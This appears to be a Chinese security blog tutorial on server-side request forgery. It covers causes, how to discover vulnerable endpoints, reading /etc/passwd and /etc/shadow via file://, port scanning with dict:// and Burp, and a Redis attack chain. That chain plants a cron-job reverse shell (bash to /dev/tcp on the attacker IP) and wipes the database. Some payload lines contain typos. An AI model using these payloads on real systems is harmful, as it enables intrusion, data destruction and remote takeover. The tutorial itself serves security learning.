服务器请求伪造(SSRF)

Dunm1e Lv3

SSRF漏洞

漏洞介绍

服务器请求是从客户端发起一个请求到服务器,服务器再向另外的服务器发起请求的过程。

服务器端清求伪造(Server-side Request Forgery,简称SSRF),是一种由攻击者构造形成由服务器端发起请求的一个漏洞。SSRF让服务器去请求你通常请求不到的东西,一般用来在外网探测或攻击内网服务。

**类比CSRF:**服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。
**漏洞成因:**由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。比如:攻击者传入一个未经验证的 URL,后端代码直接请求这个URL,就会造成 SSRF 漏洞。
**漏洞危害:**利用SSRF漏洞,攻击者实际上可以访问内网,可以进行

  • 读取内网文件;
  • 扫描内网服务和端口;
  • 收集内网 web 应用的指纹识别,根据这些信息进行下一步的渗透:
  • 攻击运行在内网的系统或应用程序.

漏洞发现

漏洞点:能够对外发起网络请求的服务器,就可能存在SSRF漏洞

web功能

服务器端请求伪造漏洞是在服务端获取其他服务器的相关信息的功能中形成的,因此我们可以列举几种在web应用中常见的从服务端获取其他服务器信息的的功能:

  1. 分享URL:通过目标URL地址获取了title标签和相关文本内容,而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
  3. 在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。
  4. 图片加载与下载:通过URL地址加载或下载图片。
  5. 通过api获取远程地址文件来加载内容。

URL关键字

寻找需要加载外部资源的URL,可能存在SSRF漏洞。这些URL中经常包含的关键词有share、wap、ur1、link、src、source、target、u、3g、display、sourceURL、imageURL、domain等利用 google 语法(inurl:url=)加上这些关键字去寻找 SSRF 漏洞,耐心的验证,可以找到存在的 SSRF漏洞。

判断漏洞是否存在:在目标网站上攻击者IP,如果攻击的服务器日志能看到目标服务器对自己发起的请求,说明存在漏洞。

SSRF利用

1. 读取敏感文件

**file协议:**本地文件传输协议,用于访问本地计算机中的文件。好比通过Windows的资源管理器中打开文件或者通过右键单击打开一样。格式:file://filepath

重要文件:

  1. /etc/passwd:在Linux中,/etc/passwd文件中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段:用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 shell
  2. /etc/shadow:用于存储 Linux 系统中用户的密码信息,只有 root 用户拥有读权限,其他用户没有任何权限。
  3. /etc/hosts:在linux中,主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。

2. 探测内网服务

**dict协议:**一个字典服务器协议,在ssrf中常用于探测日标服务器端口上运行的服务版本信息。格式:dict://ip:port。先利用file协议读取/etc/hosts获取ip,通过 dict 协议读取目标服务器端口上运行的服务版本信息

探测内网存活IP和开放端口:可利用BurpSuite,批量探测存活IP和开放端口。

  1. 开启Burpsuite,并访问待测试的网站:http://120.27.61.239:8006/source/index.php ;

  2. 将抓到的包发送到Intruder模块,设置IP或者端口,进行爆破;

探测内网redis:REmote Dlctionary Server(Redis)是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。Redis一般绑定在本地(不允许远程访问),默认不开启认证,默认端口为6379。如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。使用dict://127.0.0.1:6379 有返回信息,说明存在redis数据库

同样可以利用Burp进行爆破

3. 攻击内网应用

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行redis 的用户是root 用户,攻击者可以通过写定时任务的方式进行反弹shell。
定时任务类似日常生活之中的闹钟,主要用于定时执行某些命令,达到定时处理数据的作用。不同的系统定时任务保存位置不一样,比如:
centos(cat /etc/redhat-release),在/var/spool/cron/日录下;
ubuntu(cat /etc/lsb-release),在/var/spool/cron/crontabs/ 目录下。

攻击payload:

1
2
3
4
5
6
dict://127.0.0.1:6379/info //查看信息
dict://127.0.0.1:6379/flusha11 //清空数据库(慎用)
dict://127.0.0.1:6379/config set dir /var/spoo1/cron/ //设置工作目录
dict://127.0.0.1:6379/config set dbfilename root //设置备份文件名
dict://127.0.0.1:6379/set x "\n***** bash -i &> /dev/tcp/攻击机IP/port 0>&1\n"//反弹she11
dict://127.0.0.1:6379/save

然后攻击机进行监听

1
nc -lvvp port

定时任务执行后就会反弹shell到攻击机

  • Title: 服务器请求伪造(SSRF)
  • Author: Dunm1e
  • Created at : 2024-09-11 18:56:23
  • Updated at : 2024-09-12 08:17:46
  • Link: https://dunm1e.github.io/2024/09/11/fdbfb64754f6/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments